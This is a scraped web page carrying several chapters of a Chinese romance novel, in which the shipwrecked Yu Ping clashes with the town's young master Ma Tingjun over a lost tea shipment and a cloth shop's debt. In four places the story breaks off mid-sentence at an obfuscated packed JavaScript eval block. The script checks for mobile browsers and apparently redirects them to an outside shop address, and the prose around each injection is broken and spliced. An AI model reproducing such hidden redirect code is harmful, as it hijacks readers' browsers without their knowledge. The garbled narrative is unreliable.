麻家的前院比布店宽敞不知道几百倍,空旷的草坪上还停着一辆轿车,与天色一般漆黑。俞平瞄了几眼,认不出型号;正往前厅走的路上,俞平心思全给了轿车,没认准路,被楼梯绊了脚,才停止胡思乱想。 进了还算富丽堂皇的前厅,管家与他等一阵,道:“先有一个胖子一个瘦子过来招呼你,五爷还在楼上歇息。” 这两个称呼属实如雷贯耳,俞平费解道:“他们的本名真是如此?” “是,一个叫做麻胖,一个叫麻瘦。” 俞平无语。 良久后胖子瘦子姗姗来迟,一人手里托着一盘点心,不给俞平休息的时间,拉着他去中庭花园参观。起身时候,瘦子贴心挽着俞平,充作拐杖。 三人往前厅深处走,出了小门便是中庭。中庭花园自然比前院精致更多,仿的是西式。夜里有园丁为花草浇水。 瘦子欣赏许久,装作不经意道:“这么好的花园,要是每天都能在这里看看书,晒晒太阳,神仙都要羡慕。” 末了故意看向俞平:“你知道吗,我们五爷每天过得就是这样的生活。” “我是来告辞的。”俞平不与他客套,“五爷呢?” 瘦子道:“五爷在换衣服呢,你着什么急?” “瘦子。” 俞平冷不丁喊了他一声,没想到他也答应了。俞平又道,“你们真叫这个名字?” “差是差不多。”瘦子道,“我伺候五爷长大,原本是有正经名字,五爷叫我瘦子叫顺口,把我的名字一起改了。” 俞平费解道:“伺候五爷的瘦子这么多,要是出现第二个怎么办?” 瘦子轻松朝他笑了笑,指向树后的园丁:“英明的五爷自有他的办法。这人五爷也认识,你看他瘦不瘦?” “有点。” 瘦子得瑟道:“他叫做‘瘦子第二’。” 俞平在心里默默给这家人判处无可救药的定论,就是他们语调夸张讲笑话也不愿理睬了,光顾着自己吃点心。 瘦子碰一鼻子灰,夜宵也没吃几口,更是堵着气:“我们五爷说你漂亮是抬举你,别真蹬鼻子上脸了。” 胖子插不进话,三人相顾无言一阵,俞平冷不丁道:“知道我为什么这么漂亮?” 谁想到他这么说话?瘦子老实道:“不知道。” 俞平细嚼慢咽一阵,硬是叫他等了许久,才道:“我是卖身的。满意了?” “净说气话呢。” 瘦子僵硬笑完,眉毛灵活抖了抖,道,“真的?” “真的。”俞平顿了顿,道,“我还是谈凭玉,信不信?” 瘦子嘘他:“五爷招架得住你,我们就算了。” 胖子接替了瘦子自发的拐杖活计,来到花园间凉亭,一起坐下来休息。尚不等俞平泛起倦意,身后响起一声狗叫,出来一只黑面猎犬,很是热情地要往俞平身上扑。 胖子好不容易拦下,往它竖直的尖耳朵里小声道:“你爹呢?” 随后才阔步来了一位衣着光鲜的少爷,雷打不动的西装三件套。瘦子眼睛尖,立刻扶着俞平站起来。 “五爷。”瘦子谄媚道,“这就是我们捡来的俞平,您看他的样子,他已经恢复不少啦。” 麻五爷接过绑在项圈上的绳子。猎犬见到主人便乖巧不少,坐在他脚旁。 五爷却率先道:“我爹休息了?” “是。”瘦子道,“老爷吃过饭便歇下了。” 五爷点点头,道:“我带他去边上说话,你们帮我看着点。” “好嘞。” 瘦子与胖子分散离开。 俞平跟在麻五爷身后,往花园深处走。猎犬走路时一颠一颠,甚是可爱。到一处僻静地方,身边都是矮小灌木丛,月黑风高,又是密林之间,难免沾惹桃色意味。 麻五爷回过头,与俞平面对面站定,说道:“胖子说你愿意留在鹭镇。我想,你先在我家把伤养好,再想后路。” 俞平不着急回答,只是盯着他。 五爷相貌确实周正,剑眉星目,尤其是他睫毛密密麻麻,压得他眼神温柔又怜惜,说话时候脸上的浓重色彩一览无余,像是背后有人支着演皮影戏。个子也高,比俞平还多出几寸; 早上昏得眼冒金星,俞平也觉得他英俊,此般更甚:就算枢城、香岛——俞平认识的一切人物,都想叫这位五爷当情人,他也不觉得奇怪,原本只想简单打量五爷几眼,谁知道目光硬是黏在五爷脸上,难以拔起。 俞平姑且摒了白天的讨厌,今夜注定是不讲新仇旧怨的。 五爷被他看得慌,又道:“还是你想要继续做水手?等你身体好了,我开车送你去枢城码头。” 不知道是否心里作祟,俞平看他虽说一表人才,面对自己,竟有一股傻气要冒出来,便朝他笑了笑。这一笑多少有些莫名其妙,却全打乱了五爷的计划,五爷掐了话茬,也对他微笑着。 此番正中俞平下怀,话说得倒也不太痛快,慢慢地道:“我好不容易逃出来,五爷怎么要把我送回去呢?” 五爷愣道:“逃出来?” “我之前在枢城,给少爷做情人。少爷不想要我了,把我丢进海里,没想到天不亡我,又叫我烂活着。” 俞平说得平缓,又道,“少爷要成家立业,嫌我损他名声,恨不得我从来没有存在过。他早以为我死了。我若是隐姓埋名在鹭镇生活,也算如他的意,何况我们之间多少有些旧情,他便不会来同我计较。” 这套说辞说服得了詹老板,到麻五爷这里,换来的是他不可置信的面色。他上下打量俞平一眼,道:“我看你简直比少爷还有少爷派头。情人都是做小伏低的,哪像你这么张狂?” 俞平挑眉道:“五爷知道得这么清楚?” 被冤枉的滋味不好受,俞平还说得多么不怀好意——五爷解释道:“我有一位朋友比较风流,与我没有关系。” 俞平保持一贯语气,道:“真是好朋友。” 五爷道:“下次找机会,也介绍给你认识。” 俞平笑道:“我要留在布店工作,今后怕不是长久受五爷照顾。” 到底是夜深了,路灯昏沉在树叶里,不论俞平脸上多么流光溢彩,一概黯然失色下来。微风正是此刻贯穿他们二人之间,要说是春夜,难免宁静了一些。 俞平始终似笑非笑盯着五爷看,他经不住,稍微低下头。 “既然来到鹭镇,就重新开始。之前做情人就做了,过去过去就是过去了,往后自食其力,好好生活。” 五爷保证道,“我不会轻视你,也会为你的过往保密的。” 俞平却道:“既然不轻视我,为什么要替我保密?” 继而又弯弯绕绕说了一大堆,语气也很是勾人,折磨五爷的心智消耗殆尽。 “那必然是留在布店才是自食其力,来五爷家里只是虚度光阴。” 俞平拖长音道,“我可是什么活都不会干。” 五爷道:“什么活都不会干,怎么自食其力?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060943|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我好歹是跟过少爷的,审美不用多说,帮的上布店的忙。”俞平的尾音再是勾搭上五爷,“在五爷家里,五爷愿意让我做什么?” 五爷强打起精神,道:“你想做什么就做什么。” “我什么都不想做。”俞平笑道,“还是五爷也想让我做情人,只是难以启齿?要真是这样,做情人,我可能更加在行。” 五爷一时红透一半脸,必定心急不少,声音骤然放大,道:“你想到哪里去了!我家家大业大,多你一份薪水不要紧。布店就这么点,没有余地给你折腾。” “真不愧是五爷,洁身自好……” 俞平话说了一半,树林之间,有人蹦出来补齐了: “我们五爷年方二一,仪表堂堂,待字闺中,洁身自好!” 五爷扭头道:“滚!” 这人来无影去也无踪,重新缩回灌木里。 这一阵小品好不热闹,俞平看他局促样子,更是开心,温声道:“我在布店下了契,五爷不必留我。” 五爷道:“你要是喜欢这里,我赔他们违约金就是了。不算难事。” 俞平懒散道:“我也是这么想的,可惜我挺喜欢布店。” 又道:“我记得五爷在找谈凭玉。既然五爷贪图黄金万两,干脆把我卖去风月场所,我眨眨眼睛就能赚回来。” 他这般保证并非口出狂言,麻霆君无论如何也愿意相信,难怪瘦子一见他就认定他是狐狸精!说是打起精神,不准被邪祟乘虚而入,自己心里忽然一千一万个不愿意了,闷闷踢了一脚边上的石子,道:“说好重新做人的。” 俞平道:“我可没说好。” “我听得很清楚,别想抵赖。” “没有。” “就有。” 这两人很没营养地吵了几轮,黑脸猎犬闲不住,滴溜溜地起身绕着俞平转圈。俞平弯下腰,把手张开在它面前,猎犬兴高采烈地舔起他的手掌。 麻五爷见状,也蹲了下来,抚着猎犬后颈的皮毛。 “这是我养的狗,是一只德国牧羊犬,叫做黑兔。” 五爷微笑着看一阵黑兔,忽然小心翼翼地道,“我看得出它很喜欢你,你就留在我家吧。” 俞平只是瞟了他一眼,嗤笑道:“狗好玩,与五爷何干?” 五爷便很长地出一口气,语气恨了几分,道:“随便你,想去哪里就去哪里!” “我想回布店,否则老板要担心了。” “赶紧请吧。” 五爷带他出去。穿过灌木丛,两人一狗脚下都踩踏树枝,断裂时候噼啪响。 “所有人都喊你五爷,我还不知道你叫什么名字。” 俞平开口的声音很轻,来一阵晚风便能把他的声音刮跑。五爷依旧听见了,停了脚步: “麻霆君。” 俞平也是有模学样地复述了一遍。麻霆君道:“你直接叫我名字好了,我不介意的。” 俞平笑道:“霆君?” 俞平说话好听。麻霆君十分期待地点点头,却见他笑而不语——忽然想起来训狗也是这趟流程,越是机灵的狗,听见名字跑得越是欢快。 不知不觉进了他的项圈,实在有失堂堂五爷的风度,麻霆君心里也是悔恨不已。然则看见俞平无声朝他微笑着,很是明朗,心中的情绪复一扫而空了。 俞平道:“谢谢五爷的好心,我知道了。” 麻霆君道:“我也叫你俞平……” 俞平打断他前笑了笑,道:“难道叫四爷?” 麻霆君道:“处处要压我一头。” 俞平笑道:“我哪有这个本事。” 来到前厅时灯光灭了一半,麻霆君四处找起灯笼。 俞平请他留步,道:“不劳烦五爷送行,镇上有路灯,我自己回去。” 麻霆君看了他一阵,照样说不出话。许久才道:“遇到什么事情解决不了,都可以来找我。” “谢谢五爷。” 俞平方踏出门槛,背影立刻被黑夜吞噬了。这时麻霆君身后齐刷刷赶来三个人: 胖子拖长音:“玫瑰总是带刺的。” 瘦子乘怪气:“好事总是多磨的。” 年轻伙计道:“越鲜艳的蘑菇,越有毒。” 麻霆君简明扼要:“都滚。” “好嘞。” 5. 新生 太阳顶出山尖的黎明时分,俞平梦见了那场海难。 梦使俞平再次身临其境。人的呼喊、汽笛长鸣、射进浪头的子弹,一概在他耳畔呼啸而过。刀子似的风浪割着他的脸颊,快艇翻在他身上,继而由无际着黑暗霸占在他的前路。 于冰冷的海水中昏死过去的俞平,却在温暖的被窝里重获新生。 他已经在布店住了半个月。 小小布店,五脏俱全,分工明确。十几天的伙计生涯,使得俞平对布店的生活规律了如指掌。譬如早上起来,当务之急不是清点柜台,而是—— “二小姐,来不及啦!” “说了多少遍,叫我大小姐!” 何氏从鞋柜里提出兰香的皮鞋,看他们拌嘴有趣,劝他道:“你就听她的吧。” ……而是护送兰香上学堂。 学堂是附近几个镇子联合创办的,开在鹭镇之外,规矩非常严格。兰香娇纵惯了,是学堂里为数不多每天乘黄包车上学的。车夫大多集中在镇口,先从布店赶过去。早饭则在路途中解决。 镇上有早餐铺,兰香阔绰买完一堆,吃得可有讲究:烧饼外围一圈焦皮惯例是不吃的,便是剥下后递给俞平。 俞平身上背着她的书包,左手提着两袋豆浆,右手软绵绵垂着糖糕与油条。现在嘴里还要叼着烧饼,忙到巴不得生出三头六臂。 反观兰香一身轻松,蹦跳在他身旁,打趣道:“俞平,你为什么叫俞平?” 托烧饼的福,俞平嘴里不清不楚,含糊地道:“随便叫的。” “哦,你不问我为什么要叫詹兰香?” 俞平只好道:“为什么?” 兰香调皮道:“你猜。” 俞平细嚼慢咽吞下烧饼,走了几步,才道:“香兰愧伤暮,碧竹惭空中。[1]” 兰香莫名其妙看了他一眼。 “因为兰花本来就是香的。”她不解道,“你刚刚说了什么?嘀嘀咕咕的,我一个字也没听清。” 俞平痛苦皱了皱眉头,往糖糕上咬了口。 兰香倒是全然被他抛砖引玉了,兴奋道:“不过说到名字寓意,五爷才有趣。” 整座白鹭镇只有一位五爷。不用兰香说明便知道何许人也。想到那时经历,俞平眼皮一跳,却淡淡地道:“麻霆君?” 兰香吃吃笑起来,道:“我们都是‘五爷’叫顺口的,你初来乍到,我当你不知道他的底细。说起那麻五爷——” 她边在空中书写“霆君”二字,边对他说:“霆是雷霆的霆,君是君子的君。” 俞平抱怨道:“什么雷公电母的名字。” 兰香笑得更加开心,道:“真被你讲对了。” 麻家三奶奶生麻霆君那天,产婆进厢房不到半个时辰,天上总共炸了三道雷。 第三道雷响过后,呱呱坠地了一个男孩。重金请来的风水先生,不分青红皂白,说他是雷公转世,起名霆君。 兰香还知道其他的封建迷信——不知是否与姓氏有关,麻氏祖上十八代,生的各个是麻子脸。麻霆君脸上的麻子倒是被雷劈掉了。 “他的脸不仅干净得不得了,也英俊得不得了。” 麻霆君确实英俊。原本稀疏平常的一句陈述,兰香却仿佛急于向俞平证明什么,无端保证道,“除了我以外,边上几个镇,哪怕是枢城一些大户人家,全都说他好。不分男女,所有人都喜欢他,他却一个都瞧不上。除了我。” 俞平道:“怎么还有枢城?” 兰香道:“他经常去枢城玩的……总归是除了我。” 俞平叹了口气,再顺从道:“为什么除了你?” 兰香如愿以偿道:“我不一般。” “怎么不一般?” “嗳,你记不记得我在麻公馆的小弟阿吉?” 兰香心思多好猜,光是要往哪个方向迈步子,步子迈得多大,俞平都要清楚了。无奈寄人篱下,只好陪她开玩笑,道:“你喜欢他?” “去你的,不准造本大小姐的谣!” 兰香道,“我,我哥哥,阿吉。我们三个一起长大,阿吉是个很踏实的人。” “你喜欢他。” “没有!” 兰香拗他不过,生硬地转移着他的注意,介绍麻家新一代唯二男丁中的另一位,道:“他们家大少爷叫做乌金。麻家确实做煤矿生意,但是马粪一样的东西,居然好拿来当名字……” 议论麻家的报应来得太快,有辆黑色轿车擦着他们飞驰而过。麻石路兜住了昨夜的雨,车轮轧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060944|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地上,溅出一捧水到兰香的小腿肚。 兰香怒道:“谁不长眼睛!” 汽车后座的年轻人,半个身子钻出车窗,笑起来咧出一排上牙:“大小姐消气!” 若非俞平阻拦,兰香简直要追车而去。她朝空气拳脚相加很长一会,才道:“刚才那车是五爷的,打招呼的阿吉。” 俞平没看清阿吉长相,光是听见轻浮声音,好奇道:“他哪里踏实?” “你不懂。”兰香道,“虽然他经常惹我不高兴,但他确实是个踏实的人。” 俞平否决道:“大小姐,你还是好好读书吧。” “别学我爹娘教育我,我爹娘身上就这么点糟粕,都被你学了去了。” 兰香龇牙咧嘴朝俞平出了一通气,末了忧心忡忡回望来时路,道,“车好像是朝我们家去的,五爷平时来拿衣服,没有这么大的阵仗吧?” “叫阿吉来和你提亲的。” “我去你的。和我说笑就算了,不准往我爹娘那里去。” 镇口聚集不少黄包车夫,俞平预付过车费,往兰香手里交接早点。 然而车夫一见到兰香,简直焦头烂额,道:“兰香,读什么书?” 兰香吃惊道:“书都不让读?” 车夫道:“五爷上你家去了!” 兰香道:“他是常来啊。” 车夫五官尽挤在一起,做贼似的环顾了一圈,猫着腰蹲下。兰香与俞平在他身边蹲好,三个人形迹可疑地藏在黄包车后,车夫才开口。 “你哥哥为五爷运茶去枢城,早过了约定的时间,枢城的人说没见到他,茶山的人说他早走啦。” 车夫道,“五爷这次攀了个大的,茶叶运向的是谈家,正是他们四少爷失踪,开出黄金万两的那一家!现在钱、货、人,全部失踪,你说你读什么书?” 兰香起身时脸色煞白,跌跌撞撞。俞平道:“你去上学,我回家。” 兰香道:“你回家有什么用,我又有什么心思上学?” 俞平迟疑片刻,道:“五爷要是真有事,阿吉也是在门口放哨的。你回去见不到他。” “去你的阿吉!” 兰香一把将俞平扯上车,着急道,“师傅,钱还我一半,我们去布店。” 6. 虎头 果真是阿吉守候在布店门口,长得稚气未退,蹲下的姿势倒是流里流气。身边零散布置几个伙计,一群人看着更不正经了。 俞平才知道,原来跟在胖子瘦子后面的年轻伙计,正是兰香口中的小弟阿吉。 兰香早甩在俞平前面,要想闯进去。阿吉上前拦下他们:“大小姐留步。” 兰香没好气道:“留什么?” 阿吉转头看向其他伙计,那几人心知肚明似的,纷纷亮出后背,装聋作哑一阵。他便一手拉着兰香,再把俞平拢到一起,道:“兰竹哥替我们五爷办事,现在还没回来。” 兰香道:“不就是没回来,着什么急?” 阿吉皱眉道:“如果只是耽误五爷的时间,实话说也没什么,但他耽误的是谈家的时间。” 他长久地合着两瓣唇——兰香还以为他要说出什么惊天动地的隐情,不想他只是威吓他们,又阴测测道:“害不害怕?” 兰香气鼓鼓道:“不害怕,有什么好怕!” 俞平也道:“有什么好怕。” 到底是学人说话有意思,俞平语气竟然十分开心。兰香气不过,狠狠踩了他一脚。 “你知道我们五爷有志气,老早就想去枢城闯荡。他在枢城的朋友,好不容易给他介绍了一桩茶叶生意,正是流向枢城最有名望的谈家。” 阿吉道,“说好四月份送到,现在要五月份了,兰竹哥那边依旧没有消息。五爷是来讨说法的。” 兰香望了眼门口众多家丁,道:“他来讨说法,至于带这么多人?” 阿吉似乎也有些惧怕,道:“你不知道,老爷也知道这事了,罚我们五爷跪了一夜。” ——谈二爷在枢城举足轻重,才竞选上枢城商会会长,要用茶叶的地方自然多了一例。麻霆君这位朋友人脉不错,寻个下午茶的机会,带着麻家的茶叶钻了进去。 茶叶无非是走过场必备的礼仪,有二爷坐镇,谁会嫌弃茶叶难喝?好在新茶确实无可挑剔,谈二爷没问太多,答应下来了。哪想到麻霆君供不上货。 麻家这边倒也有隐情:一方面今年天气不好,雨水多,路途险峻,耽误也是常情;另一方面,则是麻家的茶叶业务,全靠几代人细水长流地积累下来。长久能够供给二爷必然是美差,然而又是“爬得高,跌得重”,若是老爷,绝不肯答应此事。 麻霆君想去枢城,再冒险也不愿推辞,便不敢声张,秘密安排了布店的长子詹兰竹去茶山。詹兰竹常在枢城大户人家做短工,想来经验不少,却一时杳无音讯。 苦了枢城这位朋友,又是赔偿钱款,又是请人吃饭——原本可以叫麻家的茶叶源远流长地供下去,现在落得一场空;说到底是谈二爷大度,不来追究。 阿吉面色难堪,道:“你知道我家老爷做派踏实,不想攀龙附凤,尤其还是他们谈家。” 俞平道:“谈家怎么了?” 阿吉拔根狗尾草在地上画圈,道:“都说上嫁如吞针,和他们做生意,一时风光是真的。等哪天被吃干抹净了,谁来伸冤?” 尤其是麻老爷从不奢望一朝飞上枝头——牵扯到谈家,麻烦事情必然不少。 兰香貌似恍然大悟,道:“难怪谈四的寻人启事贴在镇上,不见得麻老爷来主动帮忙。” “是啊,我们老爷都不敢出门。” 阿吉道,“五爷倒是不害怕谈家。找寻谈四,一方面是为了钱,一方面也想攀点关系。就是老爷不大乐意,五爷只好偷偷摸摸的。” 俞平关心道:“那么,五爷找到他了吗?” 阿吉尴尬地看了看俞平,避而不答:“我们五爷被罚了整整一天,饭不让吃,觉不让睡,累得话都讲不出。你们也别进去添乱了,我们大家一起在外面下跳棋。” “下跳棋?”兰香道,“你们麻公馆的心肝肉苦成这样,你有心情下跳棋?” 阿吉道:“不下跳棋,五子棋也是可以的。这样的话俞平来做裁判。” 俞平却偷偷往他手里塞了兰香来不及吃的糖糕,道:“嗳,通融一下。” 阿吉再把糖糕掰成小块,分给边上的伙计们,嘴上嘟囔道:“嗳,都知道了,不是我没拦你们。是我饿的不行,昏过去了。” 饥肠辘辘的伙计们,纷纷拜倒于糖糕之下:“我们都昏啦!” 二人直奔布店而去,兰香新奇地看了眼俞平,道:“你真灵!怎么知道他们没吃早饭?” 俞平快意道:“何止是早饭。少爷都饿着,有什么东西给他们吃?” “俞平,你不愧是给少爷……” 这话说了一半,兰香自知情况不对。姑且不论是否揭人伤疤,就是说出来也不太好听。看俞平倒是面色如常,兰香自顾自改了口,道,“哎呀,不愧能在少爷边上混,真有些本领在身上。” 俞平笑了声,不应答。 布店里上演一出苦情戏。 詹老板痛心疾首,道:“没教育好兰竹是我们的责任,可是我们愿意担保,兰竹是好孩子,绝不会卷款跑路的。” 边上有两个高歌的: “打碎了镜子,如何复原?” “搅黄了生意,如何长青?” 詹老板又道:“兰竹违约确实不对。五爷,您一直对我家布店照顾不少,我们打心眼里感激,也不愿见到事态如此。我们愿意补上空缺。” “惹恼了谈家,如何化解?” “伤心了五爷,如何平息?” 詹老板再道:“五爷,您说个解决办法。” 胖子正要开启下一轮,被麻霆君挥挥手喝止了。 那时候兰香霹雳地降临在布店,抢在父亲前,扯着嗓子道:“不就是赔钱!五爷至于摆这么大阵仗!” 胖瘦二人又开始发功,默契十足地对视一眼。 一个说:“愚公移山。” 一个说:“精卫填海。” 兰香跺脚道:“五爷你说,我们要赔多少钱?” 麻霆君夜里没休息,满脸写着无可奈何,许久后勉强打起精神,道:“两千大洋。” 兰香又是炸了锅道:“这么多!五爷别开玩笑!” 胖子应:“小姑娘,见识少。” 瘦子和:“狮子口,蚂蚁兜。” 俞平落在她身后进到店里。自阿吉口中拼出的来龙去脉,好像只损失了些茶叶。鹭镇茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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胖子还盼他回旋,不料等来这么一出,被呛得说不出话,讪讪退至一旁。 詹老板求情道:“五爷,我们是本分人家,只做点小生意。两千大洋给点时间必然凑得到,人情实在没有本事还上。” “就是因为你们的儿子,我们才失去了谈家的人情!” 瘦子道,“生意已经搅黄了,你们赔多少钱都没用。” 詹老板承认道:“是,是。” 瘦子又道:“如是便有第二条路,帮助我们五爷找到谈四,好卖谈家一个人情。” 兰香吃惊道:“谈四失踪要一个月了!还找不到,我看他早就死啦!” 瘦子恶毒道:“这种话也好说,谈家正找他呢!” 麻霆君敲了敲柜台。布店里的人一概噤声了,纷纷朝他看去。 他道:“外头的事情不用你们计较。可毕竟是兰竹违约在先,你们先把钱垫上,等他回来了,多退少补,我们重新商议。” 在布店这些日子,俞平清楚布店底细如何:生活滋润不成问题,一下子拿出两千大洋,恐怕是天方夜谭。 “五爷说过给我考虑的时间,我现在想清楚了。”此番开口有些唐突,俞平上前一步,又道,“我愿意留在麻公馆,两千大洋以我的薪水抵掉。” 他太狂妄,胖子瘦子都夹紧尾巴站在一旁。麻霆君在他脸上打量了好几轮,忽而玩味似的一笑: “我家是什么地方,你想来就来,想走就走?” 麻霆君嗤笑一声,道,“你自己说,你值几个钱?” 7. 蛇尾 俞平没曾想过第一次碰壁是在他身上,耳朵当仁不让烧了起来。 蔓延在脸上之前,麻霆君抿口茶水润嗓,又问他:“你以为我找谈四下落,只是为了钱?” 不然呢?辅一见面,俞平便觉得他傻,没想到还藏着其他心思,居然要洗耳恭听了。 麻霆君道:“记得黑兔吗?” 面前这位也和黑兔的性质差不多了——俞平摒弃心中想法,道:“记得。” “黑兔是德国犬,我的车也是德国车。十八岁我去枢城港口等货轮,正是谈四带人把我打了一顿,我一辈子不会忘记。” 不知不觉麻霆君来了精神,道,“他打完我还不够解气,特地回来看我的惨状!” 俞平面不改色道:“说不定是看你们五爷仪表堂堂……” “他是来观察我有没有死去!”麻霆君咬牙切齿,道,“谈四身材瘦小,狐狸相,十分丑陋。倘使和我单挑必然会失败。没想到他有这么不体面,叫了一群人围殴我!” 俞平皱眉道:“没这回事!” “有!” “没有!” “没有?”麻霆君激动道,“没有这件事,我怎么会记得?” 方才半死不活的人物,被俞平几句话激得热血沸腾,兰香担忧要出事,把俞平往身边拉了拉。 麻霆君嚷道:“只有谈家才会为了这个草包开出黄金万两!谈四要是落在我手里,我宁可不要这笔钱,我要出一口恶气。” 他字里行间净在逞英雄,俞平嫌他太张狂,别过脸去,不忍直视。他反而绕到俞平面前,语气和善不少地道:“清楚了么,你五爷正是这样的英雄角色。” 俞平干脆闭着眼。麻霆君戳了戳他的肩膀,提点道:“你说是不是?你五爷是不是个英雄。” 俞平冷淡道:“不是。” 麻霆君并不气馁,道:“怎么能不是?你要说,‘是’。” 布店一家三口从未见到如此阵仗,詹老板见状不对,上前挽俞平安慰着。 到底是寄人篱下,受到牵制太多,俞平咬着舌尖肉,吃到痛,才心不甘情不愿道:“是。” 麻霆君正是为了等他这一句——当即洋洋自得道:“对啦,你凭什么以为单凭你的脸,就能在我这里换钱?” 俞平白眼呼之欲出,先被瘦子抢了话茬。 瘦子灵光一现,乱出起主意,道:“五爷,他说得也不是完全不准,我们取其精华,去其糟粕,好好想一想。” 麻霆君道:“细讲。” 瘦子道:“这狐狸精一把妖骨头,值不了多少钱。不如叫兰香嫁来做姨太太,多生几个……” 麻霆君脸上霎时惊恐万分,一把拧来瘦子的耳朵,道:“少给我添乱!” 又转头看向詹老板,道:“都听好了,詹兰香不准嫁过来,你们向我保证!” 兰香道:“我还不想呢!” 詹老板掩了她的嘴,连声道:“保证,保证。兰香没这个福气。” 麻霆君打哆嗦道:“我没这个福气。” 何氏圆场道:“五爷有的是福气,是我家兰香没有。” 麻霆君道:“是我没有!” 僵持之间,俞平上前一步,打断道:“我有办法补上两千大洋。五爷去银行开张收据,我找人来签。” 麻霆君诧异道:“什么意思?” 俞平耐着性子道:“意思是事情已经解决了,请回吧。” 麻霆君犹豫一阵,不肯退缩,又道:“你有什么本领,说来钱就来?” 俞平幽幽道:“要是真着急,不如听我的话。我耽误不了五爷多少时间。” 眼见着麻霆君一步步进他的套,正要颔首,胖子瘦子见机不对,立刻把人勾了回来。 胖子贴在左耳朵,慌道:“五爷,三思啊,他邪得很!” 瘦子冲在右耳朵,吓道:“五爷,指不定是阴间来的卖命钱!” 麻霆君清醒片刻,足了底气,站回他跟前,道:“你这般空口无凭,我怎么信你?就算你真找得出人签支票,哪知道是一天还是一年!” 胖子瘦子皆是十分满意: “五爷说得好。” “五爷说得妙。” 俞平嗤笑道:“五爷把这钱看得这般重要,想来是私房钱?” 麻霆君语塞片时,道:“是又如何?” 俞平低头顷刻,笑道:“区区两千大洋,哪值得大动干戈。” 麻霆君警觉道:“看不起人?” 他往麻霆君身前飘。才看出他身材实在是好,有这蹩脚粗布衫套在上,只觉得底下身段更是婀娜,宽肩窄腰翘臀,肌肉紧实;麻霆君晃一阵神,他早来到麻霆君眼前,又道:“要看不起,也是五爷先看不起我。五爷腰包里有两千大洋,我倒是一文不值。” 胖子作痴呆状,瘦子一声爆喝,道:“狐狸精,你离五爷远点!” 俞平越过麻霆君,朝那瘦子抛媚眼,道:“怎么是狐狸精?我有名有姓,叫做‘俞平’。” 屏退了瘦子,又笑道:“当少爷的做生意,不叫父母帮衬,却是私掏腰包。我看这笔生意不清不楚,不如当作从未有过。我们布店还债是轻,引火上五爷的身是重。” 麻霆君皱眉道:“你是黑吃黑惯了,别想叫我跳火坑。” 俞平笑道:“蠢货,这话这么直白都听不懂,还学别人做生意?” “谁是蠢货?” “是谁都可以,我从不与傻瓜论短长。” “你……”麻霆君面色涨得通红,支吾半天,吐不出其他字,好不容易才道,“你太不客气了!” 五爷这般实在太落魄,牛头马面沉寂许久,总算挺身出来,打抱不平: 胖子潸然泪下:“五爷本是天上仙,如今下凡来历劫。” 瘦子抽噎不断:“五爷劫满修为够,迟早重返莲花座。” 俞平看他们有趣,更是轻松,道:“我可从来没对谁客气过……打一架?” 麻霆君道:“认真的?” 俞平偏头笑道:“真的。我们打一架。” 麻霆君起初讲绅士风度,非但没被请做座上宾,更是被俞平当成草包戏耍,周遭一片都是熟人,也不知道他们怎么看待得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060946|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他:这老虎尾巴岂是想摸就摸,他不发威,真被看扁了!便是脸色阴沉地靠近。 俞平眯眼睛,攀他一眼,看他肩膀宽得异于常人,压迫力不容小觑。 动了真格,才知道麻霆君先前多收敛。却是箭在弦上,不得退缩。俞平胡乱出了手,谁想到立刻被麻霆君捉住,不由踉跄几步。麻霆君再是不费吹灰之力地往前一推。见他跌跌撞撞扑倒在柜台,照旧不肯放过,反绞了他两只手腕在身后。 俞平真预料过麻霆君力道大,没想到如此悬殊——亏他从前还是正规学过技巧的,遇上麻霆君,落得个有苦说不出:他以为能够吃准了麻霆君,哪料出受到如此待遇。胖子与兰香领头的两派势力也纷纷不敢上前,他被实木柜台硌得龇牙咧嘴,实在耻辱; 然而麻霆君的胸膛贴在他后背,他脊骨上仿佛多了只耳朵,听得出麻霆君心跳得实在厉害。倒是又有些踌躇不定——他正思索着,麻霆君还要来压他!俞平心里算盘被顿时被踏了断,看麻霆君手臂越是愤懑,忽然卯足劲,扭头狠狠咬了一口。 麻霆君立刻吃痛地退下了,抱着上臂呜咽不止,委屈道:“说好打架,怎么咬人啊!是打架,又不是咬架!” 俞平好不容易站起来,狠狠地道:“便宜你了,我一般开枪。” 麻霆君不买他的账,道:“嘴上挺厉害的,拳头要有一半厉害就好了。” 俞平与他撕破脸,道:“有本事和我比射击!” 麻霆君道:“有本事你站在这里,一枪把詹兰竹打回来,我倒贴给你两千大洋!” 